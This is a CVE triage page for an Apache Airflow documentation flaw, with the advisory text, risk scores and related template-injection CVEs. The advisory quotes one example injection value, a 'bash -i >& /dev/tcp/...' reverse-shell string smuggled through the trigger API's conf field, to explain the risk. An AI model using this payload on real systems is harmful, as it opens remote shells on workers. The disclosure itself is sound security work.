CVE-2026-42252
Is CVE-2026-42252 real, exploitable, or a false positive? Here's the community verdict.
signals
public sources
High CVSS base score, but low real-world exploitation probability (EPSS). Likely less urgent than the score implies.
baseline read
auto · not a community verdict
Real, but low real-world risk
A genuine vulnerability on paper, but EPSS shows little real-world exploitation — the base score may overstate urgency. This is not the same as a false positive.
Based on CVSS · FIRST EPSS
Confirm or dispute →CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
References
Published
Embed this verdict
[](https://www.truepositive.app/cve/CVE-2026-42252)<a href="https://www.truepositive.app/cve/CVE-2026-42252"><img src="https://www.truepositive.app/cve/CVE-2026-42252/badge.svg" alt="TruePositive verdict for CVE-2026-42252"></a>Live badge that updates automatically as the community verdict changes.
Community ground truth
Be the first practitioner to weigh in
So far this is only TruePositive's editorial baseline from public sources. Add your real-world verdict below — it becomes the signal the next person triaging this relies on.
🥇 The first 50 practitioners to contribute earn a Founding Contributor badge.
In your experience, is this finding real and exploitable?
awaiting field verdictsCurated baseline: A curated baseline from public sources, shown separately from community verdicts.
No account needed. Anonymous verdicts post as an unverified signal. Log in to make yours verified and earn reputation.
Field notes & remediation
Verdicts are the quick signal. Notes are the evidence and fixes behind them.
- 0
This scores high on paper (CVSS 9.1) but the real-world signal is low. It is not in CISA KEV and no public exploit was found, and near-term exploitation looks unlikely (EPSS about 0%). Verify your own exposure before treating it as urgent. It is reachable over the network with no authentication and no user interaction, which is the most dangerous profile. Not an emergency for most teams, but patch it in your normal cycle and check whether the affected component is actually exposed in your setup.
Add a field note or remediationoptional
Related CVEs
Same weakness: CWE-1336.
- CVE-2024-4040CRIT 9.8KEVEPSS 100%
A server side template injection vulnerability in CrushFTP in all versions before 10.7.1 and 11.1.0 on all platforms allows unauthenticated remote attackers to read files from the filesystem outside of the VFS Sandbox, bypass authentication to gain administrative access, and perform remote code execution on the server.
- CVE-2024-23692CRIT 9.8KEVEPSS 99%
Rejetto HTTP File Server, up to and including version 2.3m, is vulnerable to a template injection vulnerability. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request. As of the CVE assignment date, Rejetto HFS 2.3m is no longer supported.
- CVE-2026-11407HIGH 7.2Real · low riskEPSS 1%
Pimcore CMS/DXP version 12.3.8 contains a sandbox bypass vulnerability that allows authenticated administrative attackers to execute arbitrary methods on PHP objects by exploiting empty checkMethodAllowed() and checkPropertyAllowed() implementations in the custom Twig SecurityPolicy. Attackers can supply malicious Twig templates through the DataObject ClassDefinition Layout\Text component to perform arbitrary file reads, execute arbitrary database queries, and potentially achieve remote code execution via PHP object gadget chains, with the pimcore_* function wildcard further broadening the bypass to all Pimcore Twig functions.
- CVE-2026-44209HIGH 7.5Real · low riskEPSS 1%
Banks generates meaningful LLM prompts using a template language that makes sense. Prior to 2.4.2, banks uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This vulnerability is fixed in 2.4.2.
- CVE-2026-9558CRIT 9.9Real · low riskEPSS 0%
A Server-Side Template Injection (SSTI) vulnerability exists in Mautic's theme engine. The platform renders uploaded Twig templates without a sandbox or strict function restrictions. Authenticated users with permissions to create or upload themes can abuse this to execute arbitrary code on the hosting server (Remote Code Execution) or access restricted system files and configuration settings.
- CVE-2026-42203HIGH 8.8Real · low riskEPSS 0%
LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.80.5 to before version 1.83.7, the POST /prompts/test endpoint accepted user-supplied prompt templates and rendered them without sandboxing. A crafted template could run arbitrary code inside the LiteLLM Proxy process. The endpoint only checks that the caller presents a valid proxy API key, so any authenticated user could reach it. Depending on how the proxy is deployed, this could expose secrets in the process environment (such as provider API keys or database credentials) and allow commands to be run on the host. This issue has been patched in version 1.83.7.